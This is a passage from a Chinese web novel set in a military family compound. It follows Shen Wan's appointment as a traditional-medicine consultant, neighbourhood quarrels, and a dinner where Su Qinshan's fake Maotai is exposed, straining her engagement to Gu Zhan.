董建林沉声道："既然你认为沈同志治病救人不符合规定，那我现在正式宣布，沈晚同志从今日起担任我院特聘中医顾问，有权参与疑难病例会诊！" 林怡宁如遭雷击："院长！这不符合规定吧？沈晚连行医资格证都没有！" 董建林："很符合。上周的院务会议上，全体领导班子已经通过了这个决议。" 林怡宁的指甲深深掐进掌心，可这点疼痛根本压不住她心头翻涌的恨意。 沈晚有些惊讶：“董院长，我怎么不知道这件事？” 董建林和蔼的笑了笑："本来想过几天正式通知你，但今天既然闹出这种误会，不如就借着这个契机宣布了。" 张思德站在一旁，脸上的笑容藏都藏不住，比自己升职还高兴。 离开病房后，沈晚突然想起什么似问董建林："董院长，那这个中医顾问有工资吗？" 董建林被她的直白逗笑了："当然有！每月基础工资48元，出诊另算诊金。每周只需要来医院坐诊两天，其他时间自由安排。这可是副高级职称待遇。" 沈晚眼睛一亮——这工作简直完美！不用天天坐班，还能有稳定收入。 沈晚回到大院时，正赶上苏琴杉在挨家挨户发喜糖。 她穿着红衣裳，拎着鼓鼓囊囊的布袋子，每个收到喜糖的军属都真心实意地道贺。 苏琴杉远远看见沈晚，立刻小跑过来，眉眼弯弯的样子真像个腼腆的新媳妇："沈同志，正好你回来了，我特地给你留了喜糖。" 沈晚看着对方红扑扑的脸蛋笑了笑："谢谢，祝你和顾营长新婚快乐。" "借你吉言~" 苏琴杉顿了顿，眨眨眼道："听说赵嫂子现在能怀孕多亏了你呢！到时候要是我怀不上，也得找你帮忙呀。" 沈晚的笑容淡了几分，这话听着，倒像是把她当成送子观音了。 "赵姐是体质原因，经过这么多年调理，底子早就养好了。我只是帮她做了最后的调理。倒是你，气血充足，脉象平稳，体质应该很好，不用太担心。" 苏琴杉点点头："但愿如此。我和阿战都特别喜欢小孩子，最好能生一儿一女，凑个''好''字呢！" 沈晚不明白苏琴杉为何要与自己说这些私密话题，心中有些不耐，随口应付道："嗯，祝你们心想事成。" 说完就要往家走。 苏琴杉却跑过来想抓住她的手臂："沈同志你还没拿糖呢！" 她作势要抓起一把往沈晚兜里塞。 沈晚下意识侧身一躲—— "哗啦"一声，糖袋里的糖果撒了一地。 苏琴杉的眼眶瞬间红了，声音带着哽咽："沈同志，你不想吃我的喜糖可以直说啊，为什么要这样？" 她蹲下身去捡糖果，肩膀微微发抖，"我知道你瞧不起我，但这是我的一片心意。" 沈晚眯了眯眼，好家伙，在这等着她呢？ 刚才众人都在闲聊，没注意这边的情况。 此刻看见满地散落的喜糖和苏琴杉蹲在地上啜泣的可怜模样，第一感觉都是沈晚欺负苏琴杉了，纷纷围了过来。 李丽第一个冲上前："琴杉好心给你送喜糖，你不要就算了，为什么还要扔地上？" 她一边帮苏琴杉捡糖，一边阴阳怪气，"我都说了，没必要给这种人送糖！前天她说救了我儿子，其实就是用围巾按了会伤口，送浩子去医院的还是我家那口子。就这么点小忙，她都敢收我家五块钱，可见这人多贪得无厌！" 苏琴杉擦了擦眼角："嫂子，我也是想让沈同志沾沾喜气，没想到她竟然这么讨厌我。" 赵晓燕和孙秀芝对视一眼，快步走过来："苏同志，是不是有什么误会？小晚不是这样的人。" 苏琴杉把捡起的糖果轻轻拍掉灰尘，委屈地放回袋子里："我也不知道是不是有什么误会？刚才我就想给沈同志拿点喜糖，结果她突然把糖打翻了。" 李丽立刻帮腔："还能有什么误会？一看就是沈晚会做出来的事！从琴杉刚进大院，她就对琴杉有意见！" 围观的军属们开始小声议论，有几个对沈晚指指点点。 沈晚不慌不忙地开口："你说我把你的糖打翻了？" 苏琴杉怯生生地点点头："对。" "那我是用什么打翻的？是手碰的、胳膊撞的，还是身体蹭到的？" 沈晚眼神太过凌厉，刺的苏琴杉慌了一瞬：“我也记不清楚了了，可能是手吧。” 沈晚轻笑一声，举起右手示意了一下她手中的装着银针的盒子：“你站在我右边，我右手一直抱着这个盒子，你确定我是用手打的？” 第八十七章 我弟弟也是你弟弟啊 李丽在旁边不屑地插嘴："那就是用左手打的呗！" 沈晚神情更从容了："如果我是用左手，" 她突然做了个夸张的挥臂动作，"苏琴杉站在我右手边，我得把整条左臂横跨过胸前，才能碰到她左手的糖袋。刚才钱姐就站在我们不远处，要是我真做这么大动作，钱姐应该会看见吧？" 钱大姐皱着眉头回忆："确实没看见沈同志抬手啊……" 苏琴杉脸色一阵青一阵白，抿了抿唇小声道："那...可能是我记错了……" 沈晚红唇微勾："你可别说自己记错了呀，得把这件事说清楚，不然大家真以为我欺负你了呢。" 苏琴杉眼底闪过一丝慌乱："你，你刚才应该是用胳膊撞了我一下，我一下没拿稳……" 她的声音越说越小，最后几乎听不见了。 此时再说什么已经不重要了。 苏琴杉那副慌张心虚的模样，早就被周围看热闹的军属们看在眼里。 这些活了几十年的嫂子们哪个不是人精？稍微有点眼力见的，这会儿都开始怀疑苏琴杉说话的真实性了。 李丽皱起眉："琴杉，到底是不是沈晚欺负你了？" 苏琴杉听着周围人窃窃私语的质疑声，脸色越来越白，她不像沈晚那样沉稳，此时心态已经有点崩了。 就在这时，顾战和霍沉舟并肩从大院外回来。 霍沉舟一眼看见人群中央的沈晚，眸色一沉，大步流星走过去："发生什么事了？" 顾战也急忙挤到苏琴杉身边："琴杉，你咋哭了？" 李丽立刻添油加醋道："顾营长，刚才琴杉好心给大家发喜糖，结果沈晚不收她的糖还把糖都打翻了掉在地上了。" 顾战听得直皱眉："怎么可能？嫂子不是这种人。" 他低头看向苏琴杉，"琴杉，你是不是搞错了？这中间应该有误会。" 苏琴杉咬着下唇，眼泪要掉不掉的样子，活像受了天大的委屈。 沈晚冷眼看着她："苏同志，先别急着哭啊。当着大家的面，我们把事情说清楚。" 顾战也催促道："琴杉，你把事情的经过再说一遍吧，别让大家误会了。" 苏琴杉犹豫了一下，含糊其辞道："我刚才想拿糖给沈同志，但是她急着走...可能身体不小心碰到我了。" 顾战闻言松了口气："我就说是有误会吧！嫂子断然不是故意的，琴杉你也别哭了。" 霍沉舟冷冽的眸子仿佛能洞穿一切，他淡淡扫了眼苏琴杉，手臂自然地环住沈晚的腰肢。 此刻他终于明白阿晚为何那么讨厌这个女人，果然是个惯会做戏的。 顾战浑然不觉气氛微妙，乐呵呵地从苏琴杉手里拿过糖袋，抓了满满一把奶糖塞给沈晚："嫂子，喜糖您拿着，沾沾喜气！" 沈晚没有驳顾战的面子，接过糖后微微一笑："祝你们新婚快乐。" 顾战乐呵呵地牵着苏琴杉离开了。 回到家里，霍沉舟关上门，突然开口道："我知道你为什么讨厌苏琴杉了。" 沈晚挑了挑眉："看出来了？" "嗯。"霍沉舟解开军装领口的扣子。 他在部队这么多年，见过形形色色的人，眼力不错，自然能看出苏琴杉说的是真是假。 沈晚叹了口气，将喜糖扔进抽屉："可惜顾营长看不出来。" 霍沉舟从背后拥住她，下巴抵在她发顶："放心，他早晚会明白。" 沈晚："但愿吧。" 霍沉舟："今天我爸妈来电报了。" 沈晚身体微微一僵，想到上次公婆来信时强硬要求霍沉舟尽快离婚的事，红唇不自觉地抿紧："说什么了？" 霍沉舟察觉到她的紧张，手臂收紧了些："也没说什么，就是过年要过来一趟。" 沈晚默默在心里算了下时间，现在刚进腊月，离过年还有一个多月。 "要让他们住在部队？" "不用。"霍沉舟摇头，"他们说要去镇上老朋友家住几天，到时候我们俩一起去见他们。" “没再说其他的事了？” 她心知肚明，以霍父霍母对她的厌恶程度，怕是又在电报里催着他们儿子离婚了。 霍沉舟想到电报里面的话，喉结滚动了一下："...到时候见到他们就知道了。" 沈晚睫毛低垂，在眼下投下一片阴影："嗯，到时候就知道了。" …… 顾战和苏琴杉回到家里，刚进家门，苏琴杉突然踮起脚尖亲了一下顾战的唇角，这是两人第一次真正的亲密接触。 顾战整个人僵在原地，黝黑的脸瞬间涨得通红，连耳根都红透了。 他结结巴巴道："琴、琴杉...你...你在干什么？" 苏琴杉眼中含笑，手指轻轻戳了戳他硬邦邦的胸膛："怎么了嘛？咱俩都快结婚了，不可以吗？" "可以！当然可以！"顾战激动地一把抱住她，心脏跳得像是要蹦出胸膛。 两人相拥片刻，苏琴杉突然轻声开口："阿战，我有个事想和你商量。" 顾战不疑有他，脸上还洋溢着幸福的笑容："什么事？你说。" 苏琴杉靠在他怀里，轻声道："我弟今年过完年不是十八了吗？" 顾战点点头："对啊，那小子都快成年了，说不定过两年就给伯父伯母带回来个媳妇儿了。" "但是我弟说他不想那么早结婚。"苏琴杉抬起水汪汪的眼睛，"他说想先闯一番事业。" 顾战赞同地拍拍她的背："嗯，男子汉志在四方，先立业也是好的。" 苏琴杉趁机说道："我弟也是这么想的。阿战，你现在在部队这么多年，人脉也广，能不能给我弟在部队安排个工作？哪怕是当个后勤兵也行啊。" 顾战的笑容收敛了几分："琴杉，现在部队招兵都要走正规流程，政审、体检、考核一样不能少……" 苏琴杉立刻撒娇道："哎哟，你认识那么多领导，帮他安排一个呗~" 她挽住顾战的手臂摇晃，"实在不行，你和霍团长关系那么好，你不是经常说你们就像亲兄弟一样吗？那我的弟弟也是你的弟弟啊~" 第八十八章 邀请到家里吃饭 顾战被她晃得心软，差点就松口了："进部队真不行。" 见苏琴杉撅起嘴，他赶紧说，"不过我可以帮他在镇上供销社或者粮站找个工作，你看行不？" 这也算是个肥差了，苏琴杉老家离镇上不远，要是能配上自行车每天还能回家。 她故作体贴地问："会不会太麻烦你了？" 顾战憨笑道："还行！我认识供销社的张主任，到时候问问他。" 苏琴杉勉为其难地点点头："那也行吧，辛苦你了。" 她突然又踮起脚尖，在顾战脸颊上飞快地亲了一口。 顾战顿时像被雷劈中似的，整个人晕晕乎乎，连东南西北都分不清了，他摸着被亲的地方傻笑：“不辛苦，不辛苦。” “对了，咱周末不是要请兄弟们在食堂吃饭吗？我打算这两天单独请团长和嫂子去国营饭店好好吃一顿。" 苏琴杉眼珠一转："那得花不少钱吧？要不请他们来家里吃饭吧，我亲自下厨。保证不比外面的差！" 顾战感动得眼眶发热："那你是不是太辛苦了？" "不辛苦~"苏琴杉娇嗔道，"为你做这些，我高兴还来不及呢。" 顾战挠挠头："那也行，我到时候再拿瓶好酒来。" 苏琴杉指了指柜子："家里不是有那瓶汾酒吗？" "那个太普通了，"顾战连连摆手，"请团长喝肯定要喝好的！我托人弄瓶茅台来！" 苏琴杉瞪大眼睛："茅台？那不得二十多块钱一瓶？" 顾战憨笑着点头："差不多吧。" 苏琴杉心里暗骂败家，一阵肉疼："茅台我去买吧。" 顾战有些诧异："啊？你知道去哪里买吗？" "这点小事你还不放心我？我办事你还不放心吗？"苏琴杉娇滴滴地推了他一下。 顾战点头："行！那我只管邀请团长和嫂子来咱家吃饭！" 苏琴杉眼底闪过一丝算计，她当然不会真买，到时候随便灌瓶散装白酒，这些当兵的哪分得清真假…… 晚上，顾战兴冲冲地上门。 开门的是霍小川，小家伙一看见顾战，立马扑上去抱住他的腿："顾叔叔！你怎么来啦？" 顾战一把将霍小川抱起来，用没来得及刮胡子的下巴蹭了蹭他的小脸蛋，把霍小川逗得咯咯直笑："我来找你爸爸妈妈呀！" 霍小川立刻朝屋里扯着嗓子喊："爸爸妈妈！顾叔叔来找你们啦！" 沈晚放下手里刚拼好的魔方从里屋出来，霍沉舟也从侧卧走出。 顾战依旧抱着霍小川："团长，嫂子，我和琴杉想请你们明天晚上来家里吃个饭，琴杉说要亲自下厨，好好谢谢你们的照顾。" 沈晚和霍沉舟对视一眼，顾战生怕他们拒绝，赶紧补充："酒和菜都备好了，你们一定要来啊！" 霍沉舟微微颔首："好，明天我和你嫂子都去。不用做太多菜，够吃就行。" 顾战脸上露出喜意。 霍小川用肉乎乎的小脸蹭了蹭顾战的下巴："顾叔叔，那我嘞？" "你也来！"顾战宠溺地捏了捏他的小鼻子。 小家伙立刻欢呼起来，在顾战怀里扭成了麻花。 第二天苏琴杉为了做样子，特地起了个大早。 她先坐车去了镇上的国营饭店，等服务员收拾餐桌时，果然看见一个刚喝完的茅台瓶子被丢在垃圾桶旁。 苏琴杉趁人不注意迅速把空瓶子塞进布袋子。 紧接着她直奔供销社，买了便宜的散装高粱酒，躲在巷子角落，把劣质酒灌进茅台瓶里。 又用红绸布仔细包好瓶身。 然后她拿着顾战给的钱和票，在副食品柜台买了两斤五花肉，一条大鲤鱼，半斤木耳，一捆韭菜。 然后才回了家属院。 孙秀芝正坐在院门口摘菜，看见苏琴杉拎着大包小包回来，惊讶地瞪大眼睛："哎哟，琴杉！这还没过年呢，你咋买这么多好东西？" 苏琴杉擦了擦额头的汗："阿战想请霍团长一家来家里吃饭，我这不是想着得准备像样点嘛。" 孙秀芝啧啧称奇："你可太贤惠了！顾营长娶了你才是最大的福气啊！" 苏琴杉叹了口气："就是希望沈同志能别挑剔我准备的饭菜。" 孙秀芝干笑两声："你多心了，沈同志不是那样的人，她其实很好相处的。" "但愿吧。"苏琴杉勉强笑了笑，拎着东西往家走。 孙秀芝望着她的背影，眉头不自觉地皱了起来。 虽然这苏琴杉说话温温柔柔的，但是联想到昨天的事情，她总感觉这个苏琴杉为人处事怪怪的。 …… 李丽心里还惦记着怀孕的事，她天天看着赵晓燕捂着嘴往院子里跑的模样，羡慕得眼睛都要红了。 只要能怀上孩子，就算让她吐得昏天黑地也心甘情愿。 今天她又看见赵晓燕趴在水池干呕，终于忍不住酸溜溜地开口："哎哟，不就是怀个孕吗？大家谁没怀过啊？哪有人像你这样，整天吐个没完没了的？" 赵晓燕可不惯着她，擦了擦嘴角冷笑道："每个人体质又不一样，医生说了我这孕吐厉害，说明孩子壮实！总比你天天眼巴巴地羡慕强吧？" 李丽阴阳怪气：“矫情就是矫情，我怀浩子的时候咋没吐这么厉害，我家浩子现在还不是壮的跟小牛犊一样。” 赵晓燕"呵"地冷笑一声："浩子再壮实有毛用啊？那也抵不上他妈不干人事不积福报！上次脑袋都差点被冰溜子砸开瓢了，你再管不住这张破嘴，下次不知道又遭什么报应呢！" 李丽气得浑身发抖："你敢咒我家浩子？" 赵晓燕："嗐，我对浩子可没那么大意见。我纯属对你有意见！整天就知道东家长西家短，扯嘴皮子，不说人话不干人事！你家老王没跟你离婚都算他脾气好！" 李丽彻底破防了，一个箭步蹿上院子里的小桌子上，叉着腰破口大骂："赵晓燕你个不下蛋的老母鸡！怀个孕了不起啊？谁知道是不是你家老张的种！" 她骂的正起劲儿，张德志回来了。 第八十九章 李丽挨打 李丽还没看见黑脸的张德志，唾沫横飞地继续骂："几年都怀不上，突然就怀上了？谁知道是哪个野男人的种！保不齐是……" 她话还没说完，就感觉头皮发麻。 转头一看，张德志不知何时已经回来了，脸色阴沉得能滴出水来。 赵晓燕气得浑身发抖，要不是顾忌肚子里的孩子，按照她以前的脾气早就冲上去撕烂李丽的嘴了，之前两人打架，她可是把李丽掐得满身血印子，头发都拽掉好几撮。 沈晚听见谩骂声，连忙从屋里跑出来。只见赵晓燕脸色煞白，站在水池旁边捂着肚子，顿时心头一跳："赵姐！你没事吧？" 赵晓燕摇摇头："没事……" 张德志此刻全部的怒火都集中在李丽身上，他阴沉着脸："李丽，你胡说什么呢？" 李丽看见张德志，虽然有点害怕，但不多，依旧踩在小桌子上，她个子本来就矮，一米五五，踩在小桌子上也就比张德志高了半个头：“我哪说什么？” 李丽那些污言秽语，张德志实在说不出口。 他气得太阳穴突突直跳。 他都三十多岁了，好不容易盼来这个孩子，哪轮得到李丽在这满嘴喷粪！ "道歉！"张德志从牙缝里挤出两个字，"给我媳妇和她肚子里的孩子道歉！" 李丽梗着脖子，活像只斗鸡："我凭什么道歉？" "你辱骂我的妻子，"张德志一字一顿，每个字都像是从胸腔里碾出来的，"难道不该道歉吗？" 李丽依旧一副死猪不怕开水烫的模样。 就在这时，赵晓燕突然捂着肚子弯下腰，整个人蜷缩成一团。 沈晚见状连忙给赵晓燕把脉，是情绪激动导致的胎气不稳。 她立刻朝张德志喊道："张大哥！快把赵姐抱进屋里休息。" 张德志回头看见媳妇难受的模样，吓得魂飞魄散。 他随手把特地给赵晓燕买的烧鹅扔在地上，一个箭步冲过去将人打横抱起往屋里跑，小心翼翼地把人放在炕上。 沈晚看了一眼炕上的赵晓燕，对张德志说："赵姐胎像本来就不稳，刚才又受了刺激，情绪波动太大。现在胎儿暂时没事，但如果再受刺激，最坏的情况可能会小产。" 张德志额头渗出冷汗："那...那现在应该怎么做？" "先让赵姐卧床静养，保持心情平稳。我给她扎几针安胎，再开副药。这段时间绝对不能受气受累，饮食要清淡。" 张德志连连点头，粗糙的大手紧紧握住媳妇冰凉的手指："好，好，我都记下了。" 李丽看见赵晓燕被张德志小心翼翼抱回屋，这才慌了神。 要是赵晓燕肚子里的孩子有个三长两短，以张德志护短的性子，非得扒了她的皮不可！ 她从桌子上跳下来，谁知地上有个坑洼，脚腕"咔嚓"一扭—— "啊！！！"杀猪般的惨叫响彻大院，可愣是没人上前扶她。 孙秀芝直叹气："造孽啊……" 沈晚从张家出来，看见李丽的惨相，小脸冷若冰霜，"李丽，你恶意辱骂军属、造谣诽谤的行为，已经严重违反部队纪律条例，张大哥会直接向政治部举报，破坏军属团结、影响部队稳定，够得上记大过处分了！" 李丽捂着刺痛的脚腕站起来，往地上狠狠啐了一口："呸！吓唬谁呢？" 沈晚说完便转身回家，取出银针又匆匆返回张家。 她为赵晓燕施了几针安胎的穴位，赵晓燕苍白的脸色渐渐恢复了一丝血色，小腹隐隐的坠痛感也慢慢消散。 张德志往赵晓燕背后垫了两个枕头，让她靠坐得舒服些。 赵晓燕握住沈晚的手："谢谢你啊妹子。" "你以后要避免情绪激动，"沈晚轻轻回握，"和李丽那种人计较不值当。" 赵晓燕点点头，张德志却一拳砸在炕沿上："这个泼妇！我明天非去政治处举报她不可！" 沈晚点点头："如果去政治处举报，李丽作为军属恶意造谣、辱骂他人，轻则在全院大会上做检讨，重则会被取消随军资格，送回原籍。而且王大哥作为现役军人，李丽行为不端会影响他的晋升。" 张德志冷哼一声："活该！王强军摊上这么个媳妇，也是倒了大霉。" 王强军牵着儿子的手回来时，王浩额头上还缠着纱布。 他手里提着个网兜，里面装着各种祛疤膏，他可不想让儿子白白净净的小脸上留疤。 刚进大院，就听见几个军属在说李丽差点把赵晓燕气到小产的事。 王强军顿时两眼一黑，老天爷啊！这些年他替这个泼妇收拾了多少烂摊子？ 怎么就是不让人省心呢？ 屋里，李丽正坐在炕上往肿痛的脚踝倒红花油，她用手揉了一下，顿时疼得呲牙咧嘴："他娘的。" 这时听见门响，李丽知道是丈夫和儿子回来了，随口喊道："浩子，回来了啊？" 王浩答应了一声，挣脱王强军的手跑进里屋，扑进李丽怀里："妈！" 李丽脸上刚露出笑容，就被儿子撞到伤脚，顿时倒抽冷气："哎哟，我脚疼呢，轻点轻点..." 王浩立刻紧张起来："妈，你脚怎么了？" 李丽强笑着摸摸儿子的头："摔了一跤，没事哈。" 她抬头看见王强军阴沉着脸站在门口，顿时被吓得拍了拍胸口：“谁又给你气受了？” 王强军强忍着怒气："浩子，你先出去，我和你妈有话说。" 王浩撅着嘴不肯动："我要陪妈妈……" "快点！"王强军突然怒吼一声，吓得王浩一个哆嗦，只能一步三回头地往外走。 李丽靠在炕柜上，不满地撇嘴："干什么呀？有什么事不能当着儿子的面说？" "砰！" 王强军反手锁上门，充血的眼睛在屋里扫视一圈，最后抄起炕边的鸡毛掸子—— "你知不知道赵晓燕差点被你气得流产？！" 李丽身子往后缩了缩：“那不是没事吗？王强军！你想打我不成？” “打的就是你！”王强军一连往李丽身上抽了好几下,“今天必须让你长长记性。” 李丽疼的“嗷嗷”叫。 第九十章 喝到假酒了 李丽边躲边骂："王强军！你个没良心的窝囊废！你敢打我！老娘跟你拼了！" 王强军一把按住她，鸡毛掸子抽得更狠了："我早该和你这种祸害离婚，让你滚回娘家！" 门外王浩哭喊着拍门："不要打我妈！爸爸不要打妈妈！" 王家一时乱作一团。 院里几个军嫂"呸"了一声："活该！王强军早该管管这婆娘了，那张破嘴比茅坑还臭！" …… 苏琴杉在家忙活了一下午，做了红烧鲤鱼，韭菜炒鸡蛋，凉拌木耳，还有一大盆红烧肉。 顾战一进门就闻到香味，看见这桌丰盛的饭菜，顿时感动得眼眶发热。他轻轻摸了摸苏琴杉的头："辛苦你了琴杉。" 苏琴杉柔顺地摇摇头："不辛苦，你快去请霍团长他们来吃饭吧。" "好嘞！"顾战跑到霍家。 沈晚让他稍等，自己去里屋换衣服。 沈晚换好衣服，突然想起赵姐说的可以送对鸳鸯枕巾，家里好像有一对崭新的枕巾，她翻箱倒柜找了半天，终于在柜子最底层找到了那对新枕巾。 当她取出枕巾时，着空空如也的柜子，突然想起自己上次好像把肚兜放在这里了。 那肚兜呢？ 沈晚还没来得及多想，霍沉舟轻轻敲门："阿晚，好了吗？" "来了。" 沈晚打开门，霍沉舟看见她手里的枕巾，眉梢微挑："这是送给顾战的新婚贺礼？" 沈晚点点头："嗯，我听赵姐说可以送这个。" 顾战从霍沉舟身后探出头，好奇地问："什么？要送给我什么？" 沈晚举起那对绣着交颈鸳鸯的枕巾给他看：“就是这个。” 顾战顿时笑得露出八颗大白牙："嫂子，这份贺礼特别好！琴杉看见肯定也会喜欢的！" 他双手接过枕巾，看起来很珍惜的样子。 来到顾家，霍小川一进门就抽了抽小鼻子："好香呀！" 苏琴杉热情地招呼他："小川来啦？今天尝尝阿姨的手艺。" 霍小川对她腼腆地笑了笑。 顾战把鸳鸯枕巾递给苏琴杉："琴杉，你看！这是嫂子送给咱们的新婚礼物！" 苏琴杉接过枕巾，看着手中廉价的礼物，眼底闪过一丝嫌弃。 但她很快扬起甜美的笑容："真好看！我很喜欢~" 转身回屋时，她脸上的笑容瞬间消失，随手将枕巾塞到衣柜最里面，还嫌恶地拍了拍手。 再出来时，又换上了那副温柔可人的模样："大家快坐下吧，菜都要凉了。" 落座后，顾战突然一拍脑门："团长，今天咱们可得好好喝一顿！" 说着就要起身去拿柜顶的茅台。 "我来我来！"苏琴杉急忙按住他。 沈晚微微眯起眼睛，总觉得苏琴杉动作有点反常。 苏琴杉拿起酒瓶，余光扫视了一圈，见没人特别注意她，便故作自然地揭开红绸布，拧开瓶盖，然后拿了两个小酒盅过来。 沈晚看见茅台瓶子，有些惊讶："顾营长，你特地买了茅台？" 顾战说："请团长喝酒，肯定要喝点好的！" 苏琴杉先给顾战满上一杯，刚要帮霍沉舟倒酒，男人却抬手拦住："我自己来。" 她只好把酒瓶递过去，霍沉舟接过酒瓶，给自己倒了半杯。 沈晚此时也想喝两口，在现代她可是经常陪爷爷小酌几杯的。 她主动开口："我也喝点吧。" 苏琴杉先是一愣，随即捂着嘴轻笑："你一个女同志会喝酒？这酒度数可不低呢，别是逞能吧？可别喝醉了再闹出笑话来。" 霍沉舟看她："你会喝酒？" 沈晚点点头："会一点。" 男人闻言，直接把手边的酒杯推到她面前。 苏琴杉见状也不慌，她可不相信沈晚能喝出这不是茅台。 沈晚端起酒杯轻抿一口，突然皱起眉头。 茅台的口感本该醇厚绵柔，带着特有的酱香回味，但这杯酒却辛辣刺喉，有点像是劣质散装白酒勾兑的！ 霍沉舟虽然表面在和顾战聊天，余光却一直关注着沈晚。 见她皱眉，立刻问道："怎么了？" 苏琴杉抢先开口："是不是喝不习惯？早就和你说了，你非要逞能。" 顾战打圆场："嫂子，要是喝不惯就别喝了，多吃菜！" 沈晚把玩着手中的酒杯，轻声道："这酒味道不太对，不像茅台。" 顾战一愣："啊？怎么可能？这可是琴杉一大早去供销社买的，花了二十多块钱呢！" 苏琴杉眼神飘忽了一下，嘴硬道："对啊，酒瓶还在这呢，怎么会是假的？你不懂酒就别乱说了。" 霍沉舟默不作声地接过沈晚的酒杯，抿了一口后眉头紧锁："确实不是茅台。" 霍沉舟都这么说了，那这酒肯定有问题。 顾战连忙也尝了一口，他是个大老粗，平时喝的都是散装白酒，唯一一次喝茅台还是霍沉舟带的。 但此刻仔细回味，这酒确实寡淡无味，跟记忆中的醇厚酱香截然不同。 苏琴杉脸色瞬间惨白，她怎么也没想到这群粗人居然真能喝出区别！她后背渗出冷汗。 顾战想到之前苏琴杉很守财的表现，心中有种猜测，他脸色难堪地看向她："琴杉，你这酒真是供销社买的？" 苏琴杉指甲使劲扣着掌心，思考着怎么圆谎，顾战给她买酒的钱都被她自己留着了。 沈晚似笑非笑道：“苏同志该不会是心疼钱，所以特意买的勾兑白酒糊弄我们吧？” 没想到自己的想法被沈晚一语道破，苏琴杉立刻矢口否认：“怎么可能？但是这酒，这酒我确实不是在供销社买的，我是看见有一个卖酒的摊位，比供销社卖的便宜了几块钱，我想省点钱，便在他那买了，没想到卖我的是假酒。都是我的错，对不起。” 苏琴杉看起来很愧疚。 顾战深深看了苏琴杉一眼，相没相信苏琴杉的话只有他自己知道。 他最终只是叹了口气，起身道："没事，家里还有汾酒。" 他走向柜子，取出那瓶汾酒，先给自己倒了满满一杯，仰头一饮而尽。 烈酒入喉，灼烧感一路从喉咙烧到胃里，却压不住心底翻涌的情绪。 "团长，嫂子，"他声音有些沙哑，"今天对不住，让你们喝到假酒了。这瓶汾酒你们凑合喝。" 第九十一章 顾战对苏琴杉失望 沈晚知道这是顾战最高规格的接待了，她没有半分嫌弃，反而陪顾战喝了一杯："没关系，今天招待的已经很丰盛了。" 顾战苦笑一声，接下来的一顿饭，他几乎都在灌自己酒。 霍沉舟和沈晚各自只喝了一杯，霍沉舟依旧眉目清明，而沈晚却低估了原主的酒量。 一杯下肚，她白皙的脸颊便泛起桃花般的红晕，从两腮一直蔓延到耳根，那双杏眼水润润的，眼尾微微上挑，衬得整个人娇媚又可爱。 霍沉舟看着她这副模样，冷峻的眉眼不自觉地柔和下来，他桌下的手悄悄握住沈晚发烫的小手，指腹在她掌心轻轻摩挲。 沈晚眼波流转地瞪了霍沉舟一眼，说是瞪，可那双水润润的杏眼里哪有半点威慑力，倒像是撒娇似的嗔怪。 她悄悄挣了挣被握住的手，却被男人修长的手指牢牢扣住，十指相缠。 对面的苏琴杉看着顾战逐渐泛红的眼眶，柔声劝道："阿战，你别喝了，今天已经喝得够多了。" 顾战抬头看了她一眼，眼神复杂，低头又闷了一口酒，用手背粗鲁地擦了擦嘴角："不用管我。" "我怎么可能不管你？喝酒伤肝，你别喝了。" 苏琴杉作势想去抢顾战手里的酒杯。 顾战心里憋闷，酒劲上头，一把推开苏琴杉的手。 苏琴杉没坐稳，"哐当"一声连人带凳子摔倒在地，胳膊肘狠狠撞在桌角上，顿时疼得倒吸一口凉气。 她抬起水汪汪的大眼睛，捂着胳膊委屈道：“阿战，我好疼。” 顾战看见她摔倒，眼底闪过一丝挣扎，却只是淡淡道："你先起来吧，团长和嫂子还在呢。胳膊要是撞到了，屋里有红花油，你去擦擦。" 苏琴杉简直要气炸了，往常她要是喊声疼，顾战恨不得把她当祖宗供着。 今天居然为了一瓶破酒这么对她？尤其还在沈晚面前丢这么大脸！ 她正好对上沈晚看热闹的眼神，顿时脸上火辣辣的，活像被人当众扇了一耳光，只好满脸憋屈地捂着胳膊站起了身。 跑回屋里，"砰"地一声把门摔上。 顾战苦笑着对霍沉舟和沈晚摇摇头："让你们见笑了。" 屋内，苏琴杉抓起沈晚送的那对鸳鸯枕巾，抄起剪刀就狠狠剪了下去。 布料撕裂的声音伴随着她恶毒的咒骂："沈晚！你个不要脸的贱货！" 剪刀咔嚓咔嚓将精美的鸳鸯剪得支离破碎，她还不解气，又狠狠踩了几脚，发泄完怒火，胳膊肘传来阵阵刺痛。 她撩起袖子一看，果然青紫了一大片。 "嘶——"她咬着牙给自己涂药，听着外面隐约的谈笑声，整顿饭都没再出去。 顾战举起酒杯："团长，这杯敬您。这些年要不是您手把手带我，我顾战哪有今天。" 霍沉舟同样举杯："你能当上营长，靠的是你自己在训练场流的汗。" 两只酒杯在空中相碰，发出清脆的声响。 两人相视一笑，无需多言，在两人心里，早就把对方当成了兄弟。 吃过饭，顾战把三人送到门口。霍小川乖巧地摆手："顾叔叔再见！" "再见小川。"顾战揉了揉他的头发。 回到屋里，顾战坐在板凳上发了很久的呆。最终他深吸一口气，起身敲响卧室门："琴杉。" 屋内，原本躺在炕上生闷气的苏琴杉猛地坐起来，她以为是顾战来哄她了，故意端着架子："干嘛？喝你的酒去啊。" "开门。我有事和你说。" 苏琴杉冷哼一声："你推我的事还没完呢！除非你现在跪搓衣板，我再开门！" 这个惩罚之前顾战为了哄她做过。 苏琴杉势在必得，认为顾战一定会服软，她今天非得给顾战一个教训，让他长记性，竟敢推她！ 苏琴杉得意地竖起耳朵，可门外却陷入沉寂，等了半晌，她差点以为顾战走了。 苏琴杉疑惑地开了一条门缝，只见顾战直挺挺地站在门口，一身酒气熏天。她嫌弃地捂住鼻子："好臭！我让你跪搓衣板你怎么不吭声？" 顾战却深吸一口气："你今天为什么要买假酒？" "我都说了不是故意的！"苏琴杉翻了个白眼，"是被那个卖酒的骗了！" "你确定？"顾战声音沙哑，"上次你嫌我送给小川的点心太贵，这次难道不是舍不得用茅台招待团长和嫂子？" 苏琴杉恼羞成怒："什么酒不是喝？你要是听我的话，早点往上爬，现在说不定就是他们请你吃饭了。" 顾战听着苏琴杉的话，心里拔凉拔凉的："团长对我恩重如山，我用茅台招待怎么了？" 苏琴杉撇撇嘴："你对人家掏心掏肺，人家说不定心里怎么想你呢？" 这时，顾战突然瞥见地上散落的碎布条。 他瞳孔骤缩，猛地推开里屋门—— 苏琴杉还没来得及阻拦，顾战已经蹲在地上捡起那片被剪烂的鸳鸯枕巾，声音像是从牙缝里挤出来的："苏琴杉，这可是嫂子送的礼物，你干什么？！" 苏琴杉这时也有点心虚：“你吼什么吼，不就是两块破布吗？” 顾战眼眶通红地看着苏琴杉，突然觉得眼前这个女人无比陌生："我对你太失望了。" 苏琴杉尖声道："我们俩才是要结婚成为一家人的！你为什么要胳膊肘往外拐？" 顾战突然冷笑两声："如果你一直是这个态度，那我们也没必要结婚了。" 